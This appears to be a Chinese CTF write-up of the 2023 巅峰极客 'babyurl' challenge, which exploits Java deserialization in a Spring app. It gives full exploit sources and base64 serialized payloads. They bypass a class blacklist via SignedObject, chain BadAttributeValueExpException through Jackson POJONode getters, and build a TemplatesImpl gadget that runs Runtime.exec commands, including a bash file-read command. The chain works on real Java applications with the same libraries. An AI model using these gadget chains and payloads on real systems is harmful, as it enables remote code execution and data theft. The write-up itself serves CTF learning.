巅峰极客ctf 2023 (上) babyurl
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CTF write up,java security,反序列化基础

1568 字
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27 分钟

巅峰极客ctf 2023 (上)

吐槽

这比赛这么卷是我没想到的（其实烧卖来找我的时候就应该意识到了) , 大伙都不用上班的吗（什么？tel爷上班还是出了，有人请假一道没做出）

还好没去烧卖，不然大概要被嫌弃

榜

image-20230721230033163

接着膜烧卖

我们

image-20230721230150068

学弟很强，带不动我这个废物罢了

babyurl

一个springweb，看controller，两个模板类，一个黑名单，

一眼看出来考察反序列化

image-20230721230406821

看到黑名单

image-20230721230427090

比较难蚌的是题目提供的两个模板类都在这里面，显然不可能绕过这两个东西不用，所以必然是想办法把resolveClass失效掉，比较常见的方法是

  • 二次反序列化
  • 修改黑名单（参考之前xctf Tel爷的非预期）

忘了说有个绕过开头file的限制

url:file:///flag.txt

如果枚举文件可以用这个协议

netdoc:///

（但是输出不会换行，凑合点看)

假如没有黑名单的话，直接这样构造：

package com.yancao.ctf.qaq;

import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;

import java.io.*;
import java.security.*;
import java.util.Base64;

public class UrlTest {
    public  static  void  base64encode_exp(Object urlhelper) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(urlhelper);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, SignatureException, InvalidKeyException {
        URLHelper urlhelper = new URLHelper("url:file:///flag");
        urlhelper.visiter = new URLVisiter();

        base64encode_exp(urlhelper);

    }

}

本地测了一下没问题，也符合题目设计和内在原理

加上黑名单后想到几个常用的二次反序列化：https://tttang.com/archive/1701/#toc_wrapperconnectionpooldatasource

SignedObject
RMIConnector
WrapperConnectionPoolDataSource

那么这时候需要看依赖，我这次做不出来和这里不熟悉有关系

看pom.xml

    ...
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    </dependencies>
    ...

首先解答一个问题

q: 当我使用maven拉去上面的依赖时，除了和spring-boot-starter，spring-framework有关的依赖，还会有jackson 和 snakeYaml依赖，请问这是为什么

a：这是因为spring-boot-starter及其相关模块在其内部使用了Jackson和SnakeYAML库。

如果你希望查看具体的依赖树，可以使用以下Maven命令来查看：

mvn dependency:tree

image-20230721231342791

jackson是org.springframework.boot:spring-boot-starter-test:jar:2.7.14:test的依赖

image-20230721231522571

snakeYaml是org.springframework.boot:spring-boot-starter:jar:2.7.14:compile的依赖

误区就是有人搭环境搭多了，反序列化看依赖总是只看pom.xml，其实应该直接lib库的

当时其实技巧很重要，试了一下SignedObject，一通alt+enter自动修改报错发现是有依赖的，就快对了，

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, SignatureException, InvalidKeyException {
        URLHelper urlhelper = new URLHelper("url:file:///flag.txt");
        urlhelper.visiter = new URLVisiter();

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);

        signedObject.getObject();

    }

image-20230721233343657

卡在不知道这么调getObject了，翻了以前的题目，思路还停在cb或hessian 调用getter方法 （2021）

之前有看过aliyunCTF的easyBean，但是看个思路而已没复现（而且秒忘），现在感觉真的是太亏了

aliyunCTF的easyBean调用链

BadAttributeValueExpException.toString -> FastJSON -> MyBean.getConnect -> RMIConnector.connect -> JNDI

image-20230721234429409

翻到下面可以知道它也有readObject方法

toString的话，可以看到这个https://xz.aliyun.com/t/12509

里面讲述了如何通过BadAttributeValueExpException调用getter方法

BadAttributeValueExpException#readObject -> POJONode#toString -> getter

exp:

ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "xx");
//        setValue(templates, "_tfactory", null);
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, node);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(val);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        Object o = (Object)ois.readObject();

这道题不需要使用templateImpl，我们修改成我们的signedObject

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, SignatureException, InvalidKeyException, NoSuchFieldException, IllegalAccessException {
        URLHelper urlhelper = new URLHelper("url:file:///flag.txt");
        urlhelper.visiter = new URLVisiter();

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);

//        signedObject.getObject();

        POJONode node = new POJONode(signedObject);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, node);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(val);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        Object o = (Object)ois.readObject();

本地跑了一下，file文件成功被写入flag.txt

但如文章所言会报错，需要删一下BaseJsonNode的writeReplace方法 （也可以学文章手动删，但是代码不够健壮）

用反射删一下

        // 删除 jsonNode 的 writeReplace
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

直接写在刚刚exp上面就好

最终exp

package com.yancao.ctf.qaq;

import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;

public class UrlTest {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public  static  void  base64encode_exp(Object urlhelper) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(urlhelper);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        URLHelper urlhelper = new URLHelper("url:file:///flag.txt");
        urlhelper.visiter = new URLVisiter();

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);

        // 删除 jsonNode 的 writeReplace
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(signedObject);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setValue(val, "val", node);

//        serialize(val);
//        unserialize("ser.bin");

        base64encode_exp(val);

    }

}

hack?payload=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUHQAGmNvbS55YW5jYW8uY3RmLnFhcS5VcmxUZXN0dAAMVXJsVGVzdC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB%2BABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAGmphdmEuc2VjdXJpdHkuU2lnbmVkT2JqZWN0Cf%2B9aCo81f8CAANbAAdjb250ZW50dAACW0JbAAlzaWduYXR1cmVxAH4AG0wADHRoZWFsZ29yaXRobXEAfgAFeHB1cgACW0Ks8xf4BghU4AIAAHhwAAAAwKztAAVzcgAdY29tLnlhbmNhby5jdGYuYmVhbi5VUkxIZWxwZXIAAAAAAAAAAQIAAkwAA3VybHQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAB3Zpc2l0ZXJ0ACBMY29tL3lhbmNhby9jdGYvYmVhbi9VUkxWaXNpdGVyO3hwdAAUdXJsOmZpbGU6Ly8vZmxhZy50eHRzcgAeY29tLnlhbmNhby5jdGYuYmVhbi5VUkxWaXNpdGVyTECyy3jST0ACAAB4cHVxAH4AHQAAAC8wLQIVAI9pYz8xwmNTrma1Ppg1tupLPSTRAhR6gdW7kLyJ%2Ftz%2BpB3b9EnlYIPPnnQAA0RTQQ%3D%3D

image-20230722170634246

image-20230722170642590

记得引入java反射依赖

<dependency>
  <groupId>org.javassist</groupId>
  <artifactId>javassist</artifactId>
  <version>3.25.0-GA</version>
</dependency>

ps:要是当时搜到这个也可以秒了，可惜不知道前置（BadAttributeValueExpException）

以后真的要多关注一下新姿势！

由于Fastjson和jackson有不少相似之处，所以完全可以模仿fastjson

评价是真的菜了，太久没反序列化了，

  1. 学到一个新的二次反序列化（但是感觉别人早会了）

  2. 绕过file协议（这个是常考知识点）

还有一个值得提到的是，可以直接用templateImpl打rce，那这个题就多少有点非预期的感觉，直接就是个jackson原生反序列化，秒了

exp

package com.yancao.ctf.qaq;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;

public class UrlTest {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public  static  void  base64encode_exp(Object urlhelper) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(urlhelper);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {
//        URLHelper urlhelper = new URLHelper("url:file:///flag.txt");
//        urlhelper.visiter = new URLVisiter();
//
//
//        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
//        keyPairGenerator.initialize(1024);
//        KeyPair keyPair = keyPairGenerator.genKeyPair();
//        PrivateKey privateKey = keyPair.getPrivate();
//        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
//        SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 删除 jsonNode 的 writeReplace
        try {
            ClassPool pool1 = ClassPool.getDefault();
            CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setValue(val, "val", node);

        serialize(val);
        unserialize("ser.bin");

//        base64encode_exp(val);

    }

}

image-20230722170525267

但是这个base64打过去有bug:

image-20230722171117294

应该是pool变量的问题，还有，就是直接抄原文的

setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

会报错

改成这种（我笔记上也是写这种）

setBody("Runtime.getRuntime().exec(\"calc\");");

想执行linux语句这样改

setBody("Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"cat /F14gIsHereY0UGOTIT > /tmp/file\"});");

最终exp

package com.yancao.ctf.qaq;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;

public class UrlTest {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public  static  void  base64encode_exp(Object urlhelper) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(urlhelper);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {
//        URLHelper urlhelper = new URLHelper("url:file:///flag.txt");
//        urlhelper.visiter = new URLVisiter();
//
//
//        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
//        keyPairGenerator.initialize(1024);
//        KeyPair keyPair = keyPairGenerator.genKeyPair();
//        PrivateKey privateKey = keyPair.getPrivate();
//        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
//        SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);

        ClassPool pool = ClassPool.getDefault();
        CtClass clz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clz.setSuperclass(superClass);
        CtConstructor cc = new CtConstructor(new CtClass[]{}, clz);
        cc.setBody("Runtime.getRuntime().exec(\"calc\");");
        clz.addConstructor(cc);
        byte[][] bytes = new byte[][]{clz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "xxx");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 删除 jsonNode 的 writeReplace
        try {
//            ClassPool pool1 = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setValue(val, "val", node);

        serialize(val);
//        unserialize("ser.bin");

        base64encode_exp(val);

    }

}

?payload=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAbXQAGmNvbS55YW5jYW8uY3RmLnFhcS5VcmxUZXN0dAAMVXJsVGVzdC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB%2BABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0%2FBbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAFTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA%2F%2F%2F%2F%2F3VyAANbW0JL%2FRkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF%2FgGCFTgAgAAeHAAAAFWyv66vgAAADQAGAEAAWEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ%2BAQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEABmEuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAXcHQAA3h4eHB3AQB4

最后这里有点玄学，我多次重启springweb之后打过去才弹计算器

image-20230722172241746

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Source: github.com/k4yt3x/flowerhd
	

	

		
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